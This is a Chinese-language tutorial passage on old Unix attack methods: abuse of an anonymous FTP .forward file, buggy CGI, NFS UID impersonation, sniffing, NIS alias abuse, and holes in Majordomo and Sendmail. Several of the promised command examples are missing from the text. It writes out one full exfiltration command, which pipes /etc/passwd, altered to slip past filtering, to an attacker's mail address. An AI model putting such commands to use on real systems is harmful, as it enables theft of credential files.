如果匿名FTP主目录可写,可以写一个".forward"文件;文件内容是一行用双引号引起来的Shell命令;".forward"文件是用于邮件转发的。如果某一用户(此处为FTP)的主目录下有这个文件时,那么,当该用户收到邮件时,就要视".forward"的内容进行转发:如果".forward"的内容为一些电子邮件地址,该邮件就被转发到这些地址;而如果为一行用双引号引起来的Shell命令,则该邮件的内容被重定向到此命令。此处,命令为:"|/bin/cat/etc/passwd|sed's/^//'|/bin/mail me@my.e-mail.addr",实际上对重定向过来的作为输入的邮件内容没有做任何处理,而是把/etc/passwd(为了防止被安全机制过滤,先在每一行行首增加一个空格)发到了攻击者的电子邮件地址(me@my.e-mail.addr)。因此。在有这样一个".forward"文件后,再随便发一封电子邮件给victim.cor上的FTP用户,通过这种"转发"功能,victim.com上的/etc/passwd文件就寄到攻击者的电子邮件地址上来了。
WWW攻击
很多WWW服务器都有预装的CGI程序,其中有些程序由于设计上的失误,使得攻击者可以利用它们来做一些设计者意想不到的事情,如随意执行服务器主机上的任何命令。下面是几个著名的Buggy CGI:
这几种方法都可以得到目标主机上的/etc/passwd(当然,前提都是该机提供WWW服务并且cgi-bin下放有这几种Buggy(CGI)。
NFS攻击
如果某用户的主目录共享出来,尝试如下操作:
walt的UID为10101,于是在本地创建一个名为“walt”,UID为“10101”的用户,用su命令在本地成为这个用户(攻击者在本地应该是
冒充用户walt在安装过来的sun8.com的/users/walt下 (即walt在sun8.com上的主目录下)放一个".forward"文件,再发一封电子邮件给该用户,根据上面已经讲过的道理,邮件转发机制就会把sun8.com的/etc/passwd文件邮寄给攻击者了。
Sniffer攻击
由于大多数网络数据流是明文传输的,所以在广播性质的以太网内。任何一台主机都可以窃听到其他主机间的任何通信包,包括用于网络登录用户认证的口令。获得用户口令后,自然可以冒充该用户登录到攻击目标上去。Sniffer的局限是:攻击者和被攻击者必须在同一个以太局域网内,这通常不仅意味着物理上的邻近,而且意味着组织和部门上的邻近,即一般攻击者为内部人员。
NIS攻击
NIS(Network Information System:网络信息系统)用于网络管理信息的共享和统一管理。一般情况下,诸如Passwd、hosts、networks、alias等系统配置信息都是分散在各台主机上,各不相干。但实际上这些信息在同一个子网内往往是公共的,NIS即是为这些信息提供一个统一的存放地点(NIS服务器),这样不仅可以避免重复,还容易保持这些信息的一致性。NIS又称Yellow Page,故其命令都以yp-开头;后来又有新的NIS+,其命令改成以nis-开头。
这类攻击会先猜测域名,然后用ypcat(或对于NIS+:niscat)可获得passwd(甚至shadow)顶用NIS后,用户口令信息从NIS服务器上获取。若能控制NIS服务器,就可以创建邮件别名。
假设攻击者控制了NIS服务器,在该服务器上建立一个名叫"foo"的别名,则这个别名为该NIS域内所有的主机共享,其中包括攻击目标victim.com,所以当攻击者发一封信到foo@victim.com时,victim.com就从NIS服务器取得别名"foo"的定义,即:把victim.com上的/etc/passwd文件发送到攻击者的电子邮件地址。
E-mail攻击
电子邮件看上去好像是一种最无害的网络服务,但在黑客看来,每个开向网络的窗口都可能成为通向系统的大门。以下是一个利用majordomo(ver.1.94.3)漏洞的例子。
Majordomo是一种电子邮寄列表(Mailing list)服务器,所谓Mailing list是服务器维护着的一张电子邮件地址的表,服务器负责把所有发向该列表的信件转发到列表中的每个电子邮件地址。这样就可以形成一个虚拟的公共场所。在其中,每个人的声音都可以被所有其他的人听到。Majordomo被全世界众多的Mailing list广泛使用,其特定版本V.1.94.3中有一个漏洞,黑客可以利用这个漏洞在目标机上运行任何Shell脚本,方法是把这个脚本放在自己的Home目录下,并保证本地机允许目标机用RCP拷贝这个脚本,然后向该邮件列表发一封电子邮件,在Reply-to域中键入上列的字符串。
如果脚本内容如上所示,则该Majornomo程序将会把目标上的/etc/passwd寄给攻击者。
Sendmail攻击
利用Sendmail 5.55的漏洞攻击如下:
效果类似,会得到victim.com的passwd文件。再接着利用/etc/aliases,pag。aliases.pag是/etc/aliases编译后的形态。在许多系统中这个文件是对所有人可写的(World-writable)。
本地的uuencode程序生成一个编码流,文件名为'etc/aliases.pag",内容与本地decode相同,并作为电子邮件发给victim.com上的decode别名,victim.com收到该邮件后,把这个编码流重定向到解码程序uudecode,uudecode则恢复文件内容。并试图把它存为/etc/aliases.pag;如果daemon对/etc/aliases.pag有写权限,则改写成功,于是victim.com上献出现一个别名"bin"——它所做的正是发送攻击者需要的passwd文件到其电子邮箱。